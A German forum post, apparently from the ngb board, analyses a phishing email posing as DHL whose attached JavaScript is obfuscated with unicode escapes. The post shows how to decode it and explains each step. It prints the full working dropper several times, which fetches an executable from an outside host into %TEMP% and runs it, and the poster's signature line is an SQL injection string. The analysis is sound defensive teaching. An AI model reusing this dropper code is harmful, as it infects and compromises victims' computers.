• Hallo liebe Userinnen und User,

    nach bereits längeren Planungen und Vorbereitungen sind wir nun von vBulletin auf Xenforo umgestiegen. Die Umstellung musste leider aufgrund der Serverprobleme der letzten Tage notgedrungen vorverlegt werden. Das neue Forum ist soweit voll funktionsfähig, allerdings sind noch nicht alle der gewohnten Funktionen vorhanden. Nach Möglichkeit werden wir sie in den nächsten Wochen nachrüsten. Dafür sollte es nun einige der Probleme lösen, die wir in den letzten Tagen, Wochen und Monaten hatten. Auch der Server ist nun potenter als bei unserem alten Hoster, wodurch wir nun langfristig den Tank mit Bytes vollgetankt haben.

    Anfangs mag die neue Boardsoftware etwas ungewohnt sein, aber man findet sich recht schnell ein. Wir wissen, dass ihr alle Gewohnheitstiere seid, aber gebt dem neuen Board eine Chance.
    Sollte etwas der neuen oder auch gewohnten Funktionen unklar sein, könnt ihr den "Wo issn da der Button zu"-Thread im Feedback nutzen. Bugs meldet ihr bitte im Bugtracker, es wird sicher welche geben die uns noch nicht aufgefallen sind. Ich werde das dann versuchen, halbwegs im Startbeitrag übersichtlich zu halten, was an Arbeit noch aussteht.

    Neu ist, dass die Boardsoftware deutlich besser für Mobiltelefone und diverse Endgeräte geeignet ist und nun auch im mobilen Style alle Funktionen verfügbar sind. Am Desktop findet ihr oben rechts sowohl den Umschalter zwischen hellem und dunklem Style. Am Handy ist der Hell-/Dunkelschalter am Ende der Seite. Damit sollte zukünftig jeder sein Board so konfigurieren können, wie es ihm am liebsten ist.


    Die restlichen Funktionen sollten eigentlich soweit wie gewohnt funktionieren. Einfach mal ein wenig damit spielen oder bei Unklarheiten im Thread nachfragen. Viel Spaß im ngb 2.0.

E-Mail von DHL - Analyse eines obfuscated Javascripts

electric.larry

\''; DROP TABLE user; --
Teammitglied

Registriert
13 Dez. 2014
Beiträge
4.549
Ort
Raum 43
Glaubt man aktuellen Statistiken, wird ein Großteil aller Systeme über E-Mails mit "bösartigen" Anhängen infiziert. Schauen wir uns an, wie so ein Angriff funktioniert.

Ich habe neulich wieder ein E-Mail von DHL erhalten, in dem in schlechtem Deutsch erklärt wurde, dass mein Paket nicht zugestellt werden konnte. Ich sollte die Datei im Anhang öffnen und eine neuerliche Zustellung anfordern. Die Datei im Anhang war ein Javascript File, das mit unicode-enkodierten Strings unleserlich gemacht wurde.


Was bedeutet, unicode-enkodiert?

Anstelle von normalen "human readable" Strings, werden Zeichen in Unicode-Notation dargestellt. Erkennbar ist diese Enkodierung an der vorangestellten Escape Sequence '\u'. Das ist an sich nichts Böses, sondern nur eine andere Form der Darstellung:

Das Zeichen "L" in Ascii wäre z. B. "\u004c" in Unicode. Möchte ich "electric.larry" in Unicode darstellen wäre das "\u0065\u006c\u0065\u0063\u0074\u0072\u0069\u0063\u002e\u006c\u0061\u0072\u0072\u0079".

Ascii Zeichen können z. B. mit diesem Unicode Converter "umgerechnet" werden.


Warum verwendet jemand Unicode Characters in einem Script?

Unicode wurde eigentlich entwickelt um Zeichen darzustellen, für die "unser" Character Set zu klein ist. Beispiele wären irgendwelche asiatischen Schriftzeichen oder Sonderzeichen.
Im Falle unseres Attachments wird es hingegen genutzt um den Code unleserlich zu machen und einfache Virenscanner, die lediglich nach auffälligen Codes suchen, ohne diese vorher in einer Sandbox auszuführen, zu verwirren.


Schauen wir uns das böse Script im Anhang an

[src=javascript]
var unWYBYJq= this['\u0041\u0063\u0074i\u0076e\u0058\u004Fb\u006A\u0065ct'];
var AnqqcH = new unWYBYJq('WS\u0063ri\u0070\u0074\u002ES\u0068el\u006C');
var qGXSkb = AnqqcH['Ex\u0070a\u006E\u0064E\u006Ev\u0069\u0072\u006Fnm\u0065n\u0074St\u0072i\u006Eg\u0073']('\u0025TE\u004D\u0050\u0025') + '/\u0054\u0058SV\u0043r\u0066Q.\u0065\u0078e';
var jlnqJPfyf = new unWYBYJq('\u004D\u0053\u0058M\u004C\u0032\u002E\u0058\u004DL\u0048TT\u0050');
jlnqJPfyf['\u006Fn\u0072\u0065\u0061\u0064\u0079\u0073\u0074\u0061\u0074\u0065\u0063h\u0061ng\u0065'] = function() {
if (jlnqJPfyf['\u0072ea\u0064\u0079\u0073\u0074ate'] === 4) {
var OvKSoxASd = new unWYBYJq('\u0041\u0044OD\u0042\u002ES\u0074r\u0065\u0061\u006D');
OvKSoxASd['o\u0070e\u006E']();
OvKSoxASd['t\u0079p\u0065'] = 1;
OvKSoxASd['\u0077\u0072\u0069te'](jlnqJPfyf['Re\u0073\u0070on\u0073\u0065B\u006F\u0064y']);
OvKSoxASd['pos\u0069\u0074\u0069\u006Fn'] = 0;
OvKSoxASd['\u0073a\u0076e\u0054\u006F\u0046\u0069l\u0065'](qGXSkb, 2);
OvKSoxASd['\u0063l\u006Fs\u0065']();
};
};
try {
var awSDV = 'Ru\u006E';
jlnqJPfyf['op\u0065\u006E']('G\u0045T' , 'h\u0074t\u0070\u003A/\u002Fk\u0061rto\u006Esta\u006Ed\u0061\u006Db\u0061\u006C\u0061j\u002Ecom\u002E\u0074\u0072/\u0073\u0079stem\u002F\u006Co\u0067\u0073/87h\u0037\u0035\u0034', false);
jlnqJPfyf['\u0073en\u0064']();
AnqqcH [awSDV](qGXSkb, 1, false);
} catch (ajg9ggxFs) {};
[/src]

Es ist für jemanden, der schon einmal einen Sourcecode gesehen hat, ziemlich offensichtlich, dass hier Aufwand betrieben wurde, um das Script unleserlich zu machen. Die Namen der Variablen sehen so aus, als wären sie mit einem Zufallsgenerator erstellt worden und die vielen '\u' Escape Sequences in den Strings lassen erkennen, dass Unicode verwendet wird.

Um das nachzuprüfen, verwenden wir den oben erwähnten Unicode Converter und kopieren die erste Zeile des Scripts dort in das Feld Unicode

Unicode:

[src=javascript]var unWYBYJq= this['\u0041\u0063\u0074i\u0076e\u0058\u004Fb\u006A\u0065ct'];[/src]

Unsere Vermutung wird bestätigt und wir erhalten den Text:

[src=javascript]var unWYBYJq= this['ActiveXObject'];[/src]

Zu beachten ist hier, dass im String Unicode und "normale" Zeichen gemischt wurden. Für die Dekodierung macht das aber keinen Unterschied, weil die Unicode Zeichen ohnehin mit \u gekennzeichnet sind, alle anderen Zeichen werden beim Umrechnen einfach ignoriert.

In unserem Fall ist das Script so kurz, dass wir es vollständig in das Feld pasten und dekodieren können. Bei längeren Codes kann der verschleierte Text mit ein paar Zeilen Python dekodiert werden:

[src=python]
#the encoded js file we received by mail
virusfile = '/path/to/our/VIRUS.js'

#read each line of the file to an array
lines = tuple(open(virusfile, 'r'))

#decode each line and write to stdout
for line in lines:
#remove newslines and decode unicode character sequences
print line.rstrip('\n').decode('unicode-escape')
[/src]

Wir erhalten ein dekodiertes Script, das schon ein bisschen besser leserlich ist:

[src=javascript]
var unWYBYJq= this['ActiveXObject'];
var AnqqcH = new unWYBYJq('WScript.Shell');
var qGXSkb = AnqqcH['ExpandEnvironmentStrings']('%TEMP%') + '/TXSVCrfQ.exe';
var jlnqJPfyf = new unWYBYJq('MSXML2.XMLHTTP');
jlnqJPfyf['onreadystatechange'] = function()
{
if (jlnqJPfyf['readystate'] === 4)
{
var OvKSoxASd = new unWYBYJq('ADODB.Stream');
OvKSoxASd['open']();
OvKSoxASd['type'] = 1;
OvKSoxASd['write'](jlnqJPfyf['ResponseBody']);
OvKSoxASd['position'] = 0;
OvKSoxASd['saveToFile'](qGXSkb, 2);
OvKSoxASd['close']();
};
};
try
{
var awSDV = 'Run';
jlnqJPfyf['open']('GET' , 'http://kartonstandambalaj.com.tr/system/logs/87h754', false);
jlnqJPfyf['send']();
AnqqcH [awSDV](qGXSkb, 1, false);
}
catch ()
{

};
[/src]

Bei so einem kurzen Script ist bereits jetzt klar ersichtlich, was passiert. Bei längeren Scripts putze ich den Code gerne von Hand und füge Kommentare ein um einen besseren Überblick zu bekommen:

[src=javascript]
//instantiate an active x shell object to run command line operations
var objCommandline = new ActiveXObject('WScript.Shell');

//find temporary directory and append a name for the file that will be downloaded
var strTargetFileName = objCommandline.ExpandEnvironmentStrings('%TEMP%') + '/TXSVCrfQ.exe';

//instantiate an activex-browser object used to download the (malicious) files
var objHttpRequest = new ActiveXObject('MSXML2.XMLHTTP');

//add an event to the browser object that is fired when the request (ie. a download)
//this event will be triggered further down below in the try/catch block
objHttpRequest.onreadystatechange = function()
{
//download is finished without errors
if (objHttpRequest.readystate === 4)
{
//instantiate a new file stream object that can handle downloaded files
var objFileStream = new ActiveXObject('ADODB.Stream');
objFileStream.open();
objFileStream.type = 1;

//read content of the downloaded file into our filestream
objFileStream.write(objHttpRequest.ResponseBody);
objFileStream.position = 0;

//save the downloaded file to our temporary directory
objFileStream.saveToFile(strTargetFileName, 2);
objFileStream.close();
};
};

try
{
//try to download the malicious file from given url
objHttpRequest.open('GET' , 'http://kartonstandambalaj.com.tr/system/logs/87h754', false);
objHttpRequest.send();

//after the download finished (see above), try to run the malicious executable that was downloaded.
objCommandline.run(strTargetFileName, 1, false);
}
catch (errorCode)
{
//do nothing if an error occured
};

[/src]

Das Script lädt also ein Executable von der Adresse kartonstandambalaj.com.tr/system/logs/87h754 und führt die Anwendung danach am betroffenen System aus. Der Grund für diesen Umweg ist, dass viele Mailserver den Versand von Executables ganz blockieren, bzw. diese vom Virus Scanner am betroffenen System leichter erkannt werden.

Die ausliefernde Seite wurde entweder extra für die Verbreitung von Malware erstellt, oder sie wurde gehackt und die Malware unter dieser Url "versteckt". Wenn eine Malware nicht bei jedem Seitenaufruf verbreitet, sondern nur unter einem ganz bestimmten Pfad ausgeliefert wird, fallen solche Hacks erst auf, wenn es vielleicht schon zu spät ist.

Eine weitere Technik um Malware zu verstecken ist, dass das aufgerufene PHP Script auf der Seite vorher den Browsertyp oder das Betriebssystem prüft und nur ausliefert, wenn die Malware damit kompatibel ist. Einen solchen Fall und wie man die Malware "sicher" herunterlädt, habe ich in diesem alten Post beschrieben.

Happy Malware hunting!
 
Oben